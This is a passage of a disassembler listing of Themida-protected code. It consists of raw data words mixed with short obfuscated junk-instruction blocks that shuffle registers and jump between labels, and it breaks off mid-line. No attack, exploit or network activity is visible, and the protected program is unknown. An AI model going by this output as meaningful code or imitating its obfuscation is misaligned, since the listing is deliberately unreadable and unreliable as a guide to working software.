0C890000h, 34FF5424h dd 7EF6E924h, 8B660000h, 98E92404h, 52000002h, 39363CBAh dd 0FB5EE903h, 3489FFFFh, 81E68924h, 4C6h, 4C68300h, 2474FF56h dd 0E0E95E04h, 810000F7h, 0E449CDE9h, 0E1D15A1Ch, 386E981h dd 0CD01EE6Dh, 615EE9h, 240C3300h, 6624248Bh, 6866E9F7h dd 89663809h, 50662414h, 0B540E99Ch, 23B1FFFFh, 28F8C280h dd 0F8EA80CAh, 80DA2859h, 0C28023C2h, 0FAC280AEh, 5B2434FFh dd 6604C483h, 66294A68h, 0B4240489h, 57C28040h, 0EA80E228h dd 48B6657h, 4EC8124h, 0E9000000h, 0E1C5h, 3555E281h, 0CA817749h dd 1F073726h, 675AF281h, 0F281153Dh, 6AA078C5h, 0EA81D2F7h dd 991FB03Fh, 17E9D101h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556213: ; CODE XREF: Themida_:00563A31j and dl, 9Fh xor dl, 36h sub bl, dl pop edx pop ecx add bl, al jmp loc_5517AC ; --------------------------------------------------------------------------- dd 0AE0EE40Dh, 0FC25480Ch, 2D265A42h, 27DF47A0h, 6105D0F7h dd 1FE2ABBh, 58042444h, 4C18159h, 53000000h, 0F026F2BBh dd 8E3C140h, 4307E3C1h, 94F0E9h db 0 ; --------------------------------------------------------------------------- loc_556259: ; CODE XREF: Themida_:0055D5D4j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55B66A ; --------------------------------------------------------------------------- dd 6684B652h, 0F6F18851h, 0F3A0E9D1h, 515C0000h, 55D1B966h dd 6E1C166h, 0FFFCB4E9h, 0ED815AFFh, 83FE0653h, 0FEB7E9h db 0 ; --------------------------------------------------------------------------- loc_556295: ; CODE XREF: Themida_:00564FDBj btr [esp], ax pushf jmp loc_5516EE ; --------------------------------------------------------------------------- loc_5562A0: ; CODE XREF: Themida_:005607F7j mov eax, 57B54422h dec eax or eax, 50D0229Dh shl eax, 5 push edi mov edi, 6D417BF2h shr edi, 7 push edx mov edx, 54DF571Ah and edx, 7BC246E8h shr edx, 1 inc edx neg edx sub edx, 0B9B27783h jmp loc_556412 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB416h, 3B4CF681h, 0F7460AACh, 78EE81DEh, 29C64861h dd 0C1815EF1h, 0A11CA66Ah, 8359CB29h, 48904ECh, 68525124h dd 674E5A3Ch, 0E924148Bh, 0F4E2h, 6855575Bh, 9BE1DA0h dd 83242C8Bh, 0ED8104C4h, 0F2CCFF38h, 815DEF89h, 0AEC767EFh dd 5F781ADh, 1694257h, 243C8BFBh, 8104C483h, 4ECh, 1E86E900h dd 0E5C10000h, 8FED8105h, 0C19C699Eh, 8DE908E5h, 660000BBh dd 8124048Bh, 4ECh, 45CEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55635E: ; CODE XREF: Themida_:0055525Ej add esp, 4 jmp loc_563E54 ; --------------------------------------------------------------------------- loc_556369: ; CODE XREF: Themida_:005582EFj pop ecx jmp loc_559323 ; --------------------------------------------------------------------------- loc_55636F: ; CODE XREF: Themida_:005534E3j add ecx, edx add ecx, 289C500Bh sub esp, 4 mov [esp], ebx jmp loc_553DA8 ; --------------------------------------------------------------------------- dw 0EB01h dd 0E9242C8Bh, 281Fh, 4537B768h, 68505B6Ch, 6BC0162Eh dd 4D713558h, 0C189AEBBh, 5BD92958h, 0C103E1C1h, 0F18103E9h dd 5BE54735h, 24143151h, 31241433h, 0CA872414h, 0FFEB3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5563C1: ; CODE XREF: Themida_:0055F672j mov dl, 4Fh neg dl inc dl add dl, 0EAh sub bl, dl pop edx add bl, al sub esp, 4 mov [esp], eax push esp pop eax push ebx push esi mov esi, 674D4043h mov ebx, 674D4047h sub ebx, esi pop esi add eax, ebx mov ebx, [esp] jmp loc_55DA34 ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 9CE95024h, 88FFFFF4h, 0CE8058C6h, 6E6C028h dd 0CE80D6F6h, 21A4E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_556412: ; CODE XREF: Themida_:005562CEj or edi, edx pop edx add edi, 5D0F6AC7h jmp loc_552092 ; --------------------------------------------------------------------------- dd 45AD000h, 66D800A0h, 28A0B652h, 148B66F0h, 2C48124h dd 51000000h, 0E9D4B652h, 0A7DEh, 0C202B850h, 0C231BF70h dd 5AD30158h, 0E9241C87h, 0E1B4h, 51A9EF80h, 0D5F6A0B5h dd 0E9D7F580h, 0FFFFE0E2h, 4EC835Eh, 8B243489h, 0C483241Ch dd 3C8B5E04h, 0D66EE924h, 0F681FFFFh, 565F2DFDh, 130368h dd 787FE900h, 0C2830000h, 24148704h, 2E2C5Ch, 5B2E04D8h dd 0C2DE9h, 59CA8800h, 0A0DCE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5564A6: ; CODE XREF: Themida_:0056669Dj push ebp not dword ptr [esp] jmp loc_55848E ; --------------------------------------------------------------------------- aZ4Swc db '‡4$éw—',0 dw 5700h dd 152FB951h, 0F0E92877h db 0F9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5564C3: ; CODE XREF: Themida_:005601C0j push 0CAEh mov [esp], eax mov eax, 5C00743h jmp loc_5622D3 ; --------------------------------------------------------------------------- loc_5564D5: ; CODE XREF: Themida_:0055DF84j mov [esp], esp jmp loc_55A3B3 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 33241431h, 0E95C2414h, 0FFFFB202h ; --------------------------------------------------------------------------- loc_5564EC: ; CODE XREF: Themida_:0055C948j push dword ptr [esp] mov edx, [esp] jmp loc_55C0B5 ; --------------------------------------------------------------------------- db 89h dd 65E9243Ch db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_5564FF: ; CODE XREF: Themida_:0055AABFj mov ebx, esp push ecx mov ecx, 3DB56646h neg ecx sub ecx, 3A863FAEh dec ecx jmp loc_559F26 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0E3h dd 0C11D060Dh, 6E6806E6h, 0E900000Ah, 2096h, 0E92434FFh dd 0FFFFCB39h, 2404895Ch, 405E089h, 0E9000000h, 0FFFFD522h dd 0D8EF815Ah, 295E975Dh, 0D8C781C7h, 585E975Dh, 5C243C87h dd 89240C89h, 4C181E1h, 0E9000000h, 0FFFFD573h ; --------------------------------------------------------------------------- loc_556564: ; CODE XREF: Themida_:005634AFj movzx eax, ax push small 455Dh mov [esp], ax jmp loc_55A22B ; --------------------------------------------------------------------------- dd 0BD6FD705h, 36722D5Bh, 0C329B17Dh, 4FEB8158h, 0E9560351h dd 0FFFFCCFFh ; --------------------------------------------------------------------------- loc_55658C: ; CODE XREF: Themida_:00565584j push edi push eax jmp loc_55AB43 ; --------------------------------------------------------------------------- db 0BFh dd 4, 0E0E9FB01h, 5BFFFFF2h, 5214E9h db 0 ; --------------------------------------------------------------------------- loc_5565A5: ; CODE XREF: Themida_:0055B6BEj add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp or eax, eax jz loc_552E4C push edx jmp loc_5595B6 ; --------------------------------------------------------------------------- loc_5565C8: ; CODE XREF: Themida_:00553F8Bj pop esp push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_560E82 ; --------------------------------------------------------------------------- db 0BEh, 6, 7Ch dd 0A5E9F69Ah, 81FFFFB4h, 0EC0E43EFh, 0D10BE945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5565F2: ; CODE XREF: Themida_:005544E4j jmp loc_5516EE ; --------------------------------------------------------------------------- loc_5565F7: ; CODE XREF: Themida_:00554F83j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx push esi pop ebx pop esi add ebx, 0FFFFFFFFh jmp loc_562FEB ; --------------------------------------------------------------------------- db 68h, 1Bh, 1Eh dd 4890000h, 0FEAAB024h, 0D0D0F6C8h, 0C0C0FEE8h, 0ABE906E0h dd 31000002h, 0E9555EF7h, 4C72h, 0C1894B9h, 92E98171h dd 1137D9Ah, 0C78159CFh, 2BF3E8B0h, 0F5A0E9h db 0 ; --------------------------------------------------------------------------- loc_556651: ; CODE XREF: Themida_:0055F8A1j mov cl, bh push eax mov ah, cl push ecx mov cl, ah mov dh, cl pop ecx mov eax, [esp] add esp, 4 pop ecx pop ebx push dx neg byte ptr [esp+1] mov dx, [esp] add esp, 2 jmp loc_55AAFE ; --------------------------------------------------------------------------- loc_556676: ; CODE XREF: Themida_:005666BDj add ecx, edi push edi mov edi, 65C44E2Ah add ecx, edi mov edi, [esp] add esp, 4 push 5958h jmp loc_56662F ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18300h, 2474FF51h, 48F5904h, 0E9515C24h, 0F9CDh dd 8147D7F7h, 0CD0240F7h, 8FEF8108h, 89F72B9Ah, 0D1415FF9h dd 0F7E981E9h, 510C2959h, 0DD29595Bh, 63D4685Bh, 33E90000h dd 55FFFFE8h, 0FFFFFBBDh, 5DEE89FFh, 15EF531h, 0C3815DEBh dd 4, 8DC1E9h, 4B900h, 0CF890000h, 5FF82959h, 5C240487h dd 0D866E9h, 241C8B00h, 2C04C483h, 4C82870h, 5A665970h dd 2893C380h, 0B75352C3h, 7DCF8008h, 2EC81h, 89660000h dd 48B02404h, 8B66C728h, 0C4812404h, 2, 53F98851h, 0FA88CF88h dd 240C8B5Bh, 5B04C483h, 0E906EAC0h, 4969h, 4DBAE959h dd 0EE810000h, 4, 0E9243487h, 0B81Ah ; --------------------------------------------------------------------------- loc_556764: ; CODE XREF: Themida_:00559F31j add esp, 4 push edi mov edi, 4 sub ebx, edi push dword ptr [esp] mov edi, [esp] jmp loc_561B2F ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4EC81h, 0C2E90000h, 0BAFFFFC3h, 4BB97088h, 777EA81h dd 0E2C11A5Ch, 13F28105h, 8100C502h, 73ED04C2h, 5AD3293Bh dd 32B7E9h db 0 ; --------------------------------------------------------------------------- loc_5567AD: ; CODE XREF: Themida_:005523AAj pop ebp pop dword ptr [esp] pop esp mov [esp], edi push ebx jmp loc_553671 ; --------------------------------------------------------------------------- db 81h dd 276DD3F6h, 81DEF779h, 1EEh, 92E95700h, 5C000075h, 0BF243C89h dd 6FFF4DBAh, 664C781h, 0B068B663h, 89000047h, 0FB89241Ch dd 3460E9h, 4C18300h, 5C240C87h, 3B7868h, 116CE900h, 68660000h dd 8B666546h, 0C483243Ch, 3913E902h, 0E95E0000h, 270Dh dd 4BB53h, 0DA010000h, 83241C8Bh, 0C28304C4h, 24148704h dd 0FFCBFCE9h, 7DF381FFh, 316BA195h, 241C8BDEh, 4C481h dd 81560000h, 3B1A2404h, 565950D5h, 0D53B1ABEh, 0C595E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556852: ; CODE XREF: Themida_:00558977j xor [esp], eax xor eax, [esp] jmp loc_554EF6 ; --------------------------------------------------------------------------- db 1, 0DAh, 5Bh dd 55ABC281h, 0F2812D82h, 7AA50BC5h, 4804EA81h, 0EA81538Eh dd 573C5EB3h, 78E9D731h, 8100008Fh, 32E62434h, 35587995h dd 799532E6h, 139FE9h db 0 ; --------------------------------------------------------------------------- loc_556891: ; CODE XREF: Themida_:005651E3j pop edi push esi mov esi, esp push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_554091 ; --------------------------------------------------------------------------- loc_5568A3: ; CODE XREF: Themida_:0056063Ej xchg ebp, [esp] jmp loc_56078E ; --------------------------------------------------------------------------- loc_5568AB: ; CODE XREF: Themida_:0055EF5Cj add ch, ah mov ax, [esp] add esp, 2 xor bh, ch mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ch, bh pop ebx jmp loc_5579CC ; --------------------------------------------------------------------------- aSs db 'SéÍ',0Ah,0 align 2 dw 0A004h a4kiSag db '4KˆÇé£',0 dd 2848B500h, 0E95B59E8h, 1C74h, 9D1C77FFh, 1CD25966h dd 0EFE99C24h, 5DFFFFADh, 0FFC831E9h, 4C781FFh, 53000000h dd 0FFF786E9h, 4C381FFh, 57000000h, 4BFh, 5FFB0100h, 0E9241C87h dd 0FFFFC4F4h, 0E92434FFh, 0AB36h, 4C481h, 0DF890000h dd 0FD015D5Bh, 0E389535Fh, 4C381h, 0EB810000h, 4, 5C241C87h dd 0E9241C89h, 0FF55h ; --------------------------------------------------------------------------- loc_556958: ; CODE XREF: Themida_:0056636Aj sub esp, 4 mov [esp], esi jmp loc_55456E ; --------------------------------------------------------------------------- db 1 aSm db 'Ãé¬ß',0 align 2 loc_55696A: ; CODE XREF: Themida_:00555C8Bj xchg ebx, [esp] pop esp mov [esp], edx mov edx, 5E5E256Fh or ecx, edx jmp loc_555E7A ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0E9565E04h, 7B8Dh, 2C8BE901h, 4C48324h, 4E981h, 0C870000h dd 24248B24h, 8B243C89h, 0EC812414h, 4, 0E9240C89h, 6915h dd 0E924048Bh, 2F26h ; --------------------------------------------------------------------------- loc_5569B8: ; CODE XREF: Themida_:00553ECFj xchg ebx, edx shr edx, 3 and edx, 0D731938h xor edx, 0C11112Ch mov ebx, edx mov edx, [esp] add esp, 4 mov eax, ebx pop ebx sub ebp, eax jmp loc_55C022 ; --------------------------------------------------------------------------- loc_5569DB: ; CODE XREF: Themida_:00563262j mov eax, edx mov edx, [esp] add esp, 4 jmp loc_5575FE ; --------------------------------------------------------------------------- db 0BEh dd 197A4670h, 772EE81h, 0F68123E0h, 43A7493Eh, 86C6814Eh dd 557623AAh, 0E889F589h, 2FE95E5Dh db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A0F: ; CODE XREF: Themida_:00563E95j neg ebp not ebp neg ebp add ebp, 3C944486h jmp loc_56261C ; --------------------------------------------------------------------------- dd 28C1B850h, 0A50539C3h, 0E92ADC51h, 0AB36h ; --------------------------------------------------------------------------- loc_556A30: ; CODE XREF: Themida_:00563471j sub eax, edi jmp loc_55317D ; --------------------------------------------------------------------------- db 2Dh dd 0EAB3AD2h, 0C763250Dh, 0D28CE944h, 0C483FFFFh, 24348B04h dd 6D0FE9h, 0F3EB8100h, 115480Eh, 0F3C381C3h, 0E915480Eh dd 1AA2h, 4007E954h, 0E3BD0000h, 3126100Dh, 0E2815DEAh dd 1D26159h, 605CF281h, 0D00101C2h, 4C0835Ah, 5C240487h dd 750CE9h, 5AE98100h, 8125A346h, 0AE32E2C1h, 0E9D1F76Ah dd 75DAh ; --------------------------------------------------------------------------- loc_556AA0: ; CODE XREF: Themida_:00563B8Cj push edi jmp loc_5614DA ; --------------------------------------------------------------------------- dw 0D3B8h dd 29039707h, 0C78158C7h, 75FC0DAAh, 0BB53CF01h, 61C1053Bh dd 941BE9h db 0 ; --------------------------------------------------------------------------- loc_556AC1: ; CODE XREF: Themida_:0056096Aj add esp, 4 push edx push ebx mov ebx, 564001F6h jmp loc_55C0BE ; --------------------------------------------------------------------------- loc_556AD0: ; CODE XREF: Themida_:00554CC5j pop ebx sub esp, 4 mov [esp], ecx jmp loc_563D92 ; --------------------------------------------------------------------------- dd 8124048Fh, 4ECh, 241C8900h, 5E50BE56h, 0D6F7024Ah, 4E2FBD55h dd 0EE21564Fh, 0EE81465Dh, 5405002Ch, 0FFBB4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_556B05: ; CODE XREF: Themida_:0055A765j pop ebp shl esi, 1 jmp loc_564A4E ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EEh dd 4B4E11D6h, 5355685Fh, 84E90000h, 21000057h, 0C1815FF9h dd 24A634CDh, 94D4E9h, 22FDBD00h, 0EB0176C8h, 0CD8BE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556B3A: ; CODE XREF: Themida_:0055829Dj mov edi, [esp] add esp, 4 pop ebp jmp loc_55D1FA ; --------------------------------------------------------------------------- dw 0FF56h dd 0E9042474h, 0FFFFC497h, 5324248Bh, 6BA7E9h, 66D80000h dd 83241C8Bh, 0B50C02C4h, 0B3E4E9h db 0 ; --------------------------------------------------------------------------- loc_556B69: ; CODE XREF: Themida_:005611AFj push 582Ch jmp loc_55CA27 ; --------------------------------------------------------------------------- db 0B3h dd 68DBF6CBh, 3C14h, 0E9241489h, 0FFFFB839h, 0A1E95258h dd 0AD0000F4h, 207F83h, 0CF8A840Fh, 5450FFFFh, 40558h dd 0E8830000h, 24043304h, 33240431h, 895C2404h, 0A3BF243Ch dd 8102FE1Fh, 7A7F17C6h, 81FE290Ch, 7A7F17EEh, 2434FF0Ch dd 0A729E95Fh, 0D1890000h, 0FFD6A4E9h, 0E9F800FFh, 502Bh ; --------------------------------------------------------------------------- loc_556BD8: ; CODE XREF: Themida_:00552613j pop ecx xor ebx, 7FFFFDDBh jmp loc_5535CD ; --------------------------------------------------------------------------- dd 0BA52E789h, 4DC933C6h, 2424EA81h, 0DAF74E99h, 0E3A1E9h dd 35C98100h, 815F9317h, 0D2F727C1h, 0FFCD31CCh, 0E9592434h dd 0FFFFCC6Bh, 6602C483h, 3BB652h, 2C5A66F0h, 0CAE952B8h dd 81000001h, 2E6FF6C7h, 81DF016Bh, 2E6FF6EFh, 0BD27E96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C36: ; CODE XREF: Themida_:00562CD7j mov [esp], edx jmp loc_55E81C ; --------------------------------------------------------------------------- dw 483h dd 0E9590424h, 0FFFFE04Bh, 5C241487h, 0E9242C89h, 0FFFFCC5Bh dd 0E9CE015Eh, 64AAh, 4246C81h, 39CE62CFh, 582434FFh, 3979E9h dd 4EC8100h, 89000000h, 55B9240Ch, 817BE025h, 4128EFF1h dd 0F6ABE907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556C86: ; CODE XREF: Themida_:00564CE6j push esi mov esi, esp add esi, 4 push ebx mov ebx, 289F452Bh add ebx, 1E093086h inc ebx add ebx, 2AF3F14h jmp loc_560908 ; --------------------------------------------------------------------------- db 0FFh dd 34FF3C77h, 0B0A2E924h, 34FF0000h, 243C8B24h, 4C481h dd 0C4810000h, 4, 0EA81EAD1h, 1CF3637Ah, 0FFC28142h, 83FFFFFFh dd 48904ECh, 49D1B824h, 0E8C153DCh, 0F6E95607h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556CE7: ; CODE XREF: Themida_:00552094j pop edi sub eax, 839E84D6h sub edi, eax pop eax xchg edi, [esp] jmp loc_552D3E ; --------------------------------------------------------------------------- aPscw db 'Pé—W',0 align 2 loc_556CFE: ; CODE XREF: Themida_:0055C8C5j add edx, 93048F8h not edx neg edx or edx, 270F3424h sub edx, 370F7C2Ah jmp loc_55331F ; --------------------------------------------------------------------------- dd offset dword_450050+2DC18h align 2 dw 1C89h dd 89EB8924h, 2D5D5BDEh, 3136F88h, 58F9BD55h, 0F5810496h dd 17DB1B7Bh, 296ABB53h, 0D8293871h, 0E9E8015Bh, 3FDFh dd 31243433h, 34332434h, 2C815C24h, 9F5D4824h, 242C8132h dd 52916257h, 63240481h, 1568A33h, 2C812404h, 8A336324h dd 0A9B7E956h, 4BA0000h, 1000000h, 5A042454h, 0B201E9h dd 0C8685200h, 8900003Eh, 0C4E9240Ch db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_556D93: ; CODE XREF: Themida_:0056316Bj add eax, 4 add eax, 4 jmp loc_55D665 ; --------------------------------------------------------------------------- loc_556DA2: ; CODE XREF: Themida_:00558968j push dword ptr [esp] push dword ptr [esp] mov esi, [esp] jmp loc_5544D8 ; --------------------------------------------------------------------------- dd 24048B66h, 6F4B6851h, 0E9540000h, 0FFFFF9BDh, 2BF57h dd 12E90000h, 81000019h, 0F802BBEDh, 81DD0145h, 0F802BBC5h dd 0EC835B45h, 242C8904h, 42474FFh, 24048F5Dh, 9C52E9h dd 0E9ADB600h, 466Eh, 35E9D801h, 5A000034h, 0FFE462E9h dd 81D529FFh, 11715EDh, 31E95A08h, 540000D5h, 4EC835Eh dd 0E9240489h, 7100h, 8BC6814Eh, 567B5C18h, 0CA815E5Ah dd 50E052Ch, 8106EAC1h, 7819DBC2h, 0E9D18907h, 0FA2Bh dd 44E1685Dh, 1C890000h, 4BB24h, 0ED810000h, 5A1D45CFh dd 52D1B850h, 0E8C12B40h, 47EAE906h, 68660000h, 8966787Eh dd 28B42404h, 8B66E228h, 0C4812404h, 2, 72E9D030h, 1FFFFC2h dd 241C8BD8h, 564AE9h, 0FE98000h, 2059CF00h, 2434FFF8h dd 0E81CE9h db 0 ; --------------------------------------------------------------------------- loc_556E95: ; CODE XREF: Themida_:0055FD01j and cl, 0A4h push eax mov ah, 64h sub esp, 4 mov [esp], ebx jmp loc_5601C5 ; --------------------------------------------------------------------------- db 5Ah, 4Dh, 81h dd 113308EDh, 0EAA9E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556EB6: ; CODE XREF: Themida_:005579D8j sub esp, 4 mov [esp], edx mov dl, 99h shl dl, 1 sub dl, 86h sub bl, 2 sub bl, dl add bl, 2 jmp loc_561163 ; --------------------------------------------------------------------------- db 57h dd 1C46DC68h, 0D7F75F39h, 0F756E951h, 4481FFFFh, 26030424h dd 8BE948D0h, 0C1000052h, 0E3D102EBh, 0D107E3C1h, 6EBC1E3h dd 0E42CC381h, 0C681FE69h, 5DBB1D43h, 7BF0C681h, 47E949CCh dd 1FFFFB5h, 24348BF0h, 6804C483h, 7278h, 0B9240C89h, 3D105214h dd 0E959C801h, 0B1ADh, 92768h, 240C8900h, 0B68E189h, 89000006h dd 4BE2434h, 68000000h, 3E0Fh, 0BD242C89h, 43BC2CDBh, 15A3F581h dd 0E901278Ah, 0C03FE95Dh, 0E7810000h, 0CEB3D6Ah, 4C61C781h dd 0FE294082h, 6A21E9h, 97E95300h, 0AC000028h, 1CA6866h dd 240C8966h, 8421E9h, 1C28000h, 6604EAC0h, 3416E950h dd 0B6520000h, 0D001E9A8h, 0B652FFFFh, 6BCE8042h, 887FC680h dd 47345AF0h, 403E8C0h, 0BBA8E9E9h, 0F2810000h, 4EC425E7h dd 0FD56C281h, 0D1898008h, 246C815Ah, 0D0260304h, 244C0148h dd 0FF0CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556FD6: ; CODE XREF: Themida_:0056269Bj push eax jmp loc_55D14A ; --------------------------------------------------------------------------- loc_556FDC: ; CODE XREF: Themida_:00562B4Cj mov [esp], esi mov esi, 5AD66317h or esi, 463672C3h push ecx jmp loc_561BC1 ; --------------------------------------------------------------------------- dd 3C8BF929h, 4C48324h, 9E24E9h, 5FFA8900h, 75F7E981h dd 0D12930A1h, 0F7C2E9h db 0 ; --------------------------------------------------------------------------- loc_55700D: ; CODE XREF: Themida_:0055FCFAj push 662Fh mov [esp], edx push ebx push 1FE656EAh pop ebx not ebx shl ebx, 8 jmp loc_5591A5 ; --------------------------------------------------------------------------- aSz db '[é§',0Bh,0 align 4 aH4 db 'h³4',0 dd 240C8900h, 2205568h, 240C8B37h, 4C481h, 0C1810000h dd 65E149CBh, 7B656850h, 2558721Fh, 5657616h, 5225BE56h dd 0F0211FD2h, 0E924348Bh, 0F9F1h, 4C481h, 7FE90000h, 51FFFFA6h dd 42474FFh, 24048F59h, 0C5BCE9h db 0 ; --------------------------------------------------------------------------- loc_55707D: ; CODE XREF: Themida_:005577E4j sub eax, 740C446Bh push ebx mov ebx, 0E8DE3AE6h jmp loc_561950 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24148966h, 0E99C5066h, 0FFFFA652h, 0BA52E389h, 51C05F0Fh dd 0C2834A42h, 0F6C281FFh, 81AE3FA0h, 0CD595EEBh, 81D3010Ch dd 0CD595EC3h, 0C449E90Ch, 0E288FFFFh, 0CCD6E958h, 0E951FFFFh dd 614Bh ; --------------------------------------------------------------------------- loc_5570D0: ; CODE XREF: Themida_:00560B99j mov [esp], edx mov edx, 514E08B6h push edx not dword ptr [esp] pop edx dec edx or edx, 60B41184h push eax mov eax, 2C3C6EE7h push esi mov esi, 0BB40ED62h jmp loc_55D321 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0A2E90000h, 53FFFFA8h, 0AEE9CB89h, 8BFFFFB8h dd 0C483240Ch, 0B1516604h, 66CC2864h, 0E9EC0059h, 0FFFFAF8Dh dd 89EE8956h, 0C15D5EF0h, 0C4E906E8h db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55712F: ; CODE XREF: Themida_:00555088j add dword ptr [esp], 11F378FEh pop esi jmp loc_56381C ; --------------------------------------------------------------------------- dd 0E9E8205Ch, 0FFFFE6B5h, 4F7168h, 241C8900h, 0C381E389h dd 4, 48DDB951h, 0D1F73D24h, 67CEBB53h, 0E7E94977h, 80000049h dd 45845C7h, 51F82848h, 0FFF770E9h, 242489FFh, 0EC24E9h dd 24148900h, 0F62324BAh, 1AB85014h, 0F70C7174h, 0CBE940D0h dd 510000C6h, 4B9h, 59CE2900h, 5C243487h, 68242C89h, 1B7185Eh dd 0FFACD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5571AD: ; CODE XREF: Themida_:0055A71Ej mov ebx, [esp] push esi jmp loc_55C6FB ; --------------------------------------------------------------------------- dw 0E7C1h dd 0E8C78108h, 81903C4Ch, 0E533D9C3h, 0C387E90Eh, 54010000h dd 8B5A0424h, 0C481242Ch, 4, 24E0E9h db 0 ; --------------------------------------------------------------------------- loc_5571DD: ; CODE XREF: Themida_:0055A65Ej pop ecx jmp loc_554B7B ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 6203A5F3h, 3842C738h, 1B137394h, 68385AF7h dd 2AE6h, 0BB241C89h, 61FF19E9h, 0F706E3C1h, 80EB81D3h dd 9539924h, 0B3E9385Ah, 83FFFFB8h, 0C8904ECh, 52866824h dd 24890000h, 4BB5324h, 1000000h, 8B04245Ch, 8957241Ch dd 0C8BB53E7h, 4B02FB4Fh, 0E1B6E9h db 0 ; --------------------------------------------------------------------------- loc_557245: ; CODE XREF: Themida_:00557E2Dj push ecx jmp loc_555009 ; --------------------------------------------------------------------------- db 0BFh dd 5C4574CFh, 3C8BF801h, 4C48324h, 0CF2DE801h, 8B5C4574h dd 26E9242Ch db 0D8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557267: ; CODE XREF: Themida_:0055DFFEj xor ch, bl pop ebx jmp loc_55ED3B ; --------------------------------------------------------------------------- db 29h dd 0CBED81F5h, 0E9323834h, 0E414h, 88E9C689h, 0B90000BAh dd 798E6468h, 62E9CE01h, 2D00008Bh, 4E3E18ECh, 0EEE9D001h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55729B: ; CODE XREF: Themida_:0055BA11j sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] push edx mov edx, esp jmp loc_55FAA3 ; --------------------------------------------------------------------------- db 68h, 8Fh, 57h dd 0EAE97FEDh, 830000EBh, 1C8904ECh, 0AA33E924h, 0C89FFFFh dd 46824h, 50590000h, 405E089h, 83000000h, 0FF5004E8h dd 0E9042474h, 0D156h, 240C8B54h, 5604C483h, 4EC81h, 7BE90000h dd 88000039h, 240C8BECh, 4EC81h, 34890000h, 0E9E68924h dd 0F1C3h, 24048B66h, 8904EC83h, 0FCE9242Ch db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55731B: ; CODE XREF: Themida_:00562852j inc edi push edx mov edx, 4602851h sub edi, edx pop edx mov eax, edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_557B8D ; --------------------------------------------------------------------------- loc_55733B: ; CODE XREF: Themida_:00555424j xchg edx, [esp] jmp loc_558BB3 ; --------------------------------------------------------------------------- loc_557343: ; CODE XREF: Themida_:00552C3Bj sub esp, 4 jmp loc_551BA5 ; --------------------------------------------------------------------------- loc_55734E: ; CODE XREF: Themida_:00560415j shr eax, 12h xor eax, ecx xor eax, ecx jmp loc_55A4A0 ; --------------------------------------------------------------------------- loc_55735A: ; CODE XREF: Themida_:0055D84Aj push dword ptr [esp] push dword ptr [esp] pop edx push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 shr ecx, 7 push 73DFh mov [esp], edx mov edx, 1Ch jmp loc_55256F ; --------------------------------------------------------------------------- aYyss7 db 'YYSé7°',0 align 2 dw 0C33h dd 240C3124h, 8B240C33h, 85662424h, 47E99CC8h, 51FFFFA3h dd 81767568h, 2434FF60h, 4C48359h, 4EC81h, 1C890000h, 598BB24h dd 0F4E92653h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5573C7: ; CODE XREF: Themida_:0055BD0Fj push dx mov dh, 2Fh xor ch, dh pop dx not ch add ch, 3Ah xor bh, ch pop ecx shr bh, 8 add bh, 5Ah sub al, 67h jmp loc_5518C8 ; --------------------------------------------------------------------------- loc_5573E4: ; CODE XREF: Themida_:00564E2Cj push edx mov edx, esp jmp loc_561FE3 ; --------------------------------------------------------------------------- loc_5573EC: ; CODE XREF: Themida_:00552A27j mov ebx, ecx pop ecx add ebx, 278861D7h jmp loc_562F55 ; --------------------------------------------------------------------------- dw 0FB01h dd 0ED4B850h, 0D8F71FA5h, 0F11C3540h, 0DE9D34Ah, 66000096h dd 8124048Bh, 4ECh, 241C8900h, 0C381E389h, 4, 650168h dd 240C8900h, 786368h, 242C8900h, 0F2452DBDh, 0FFE9897Dh dd 835D2434h, 246804C4h, 89000026h, 0A9BE2434h, 8349C659h dd 0E4E9FFC6h, 0B900005Ch, 40746712h, 1EE007BAh, 59CA01D9h dd 8904EC83h, 0E2E92434h, 870000CAh, 665C2414h, 66243C89h dd 66752EBFh, 8B66FE31h, 49E9243Ch db 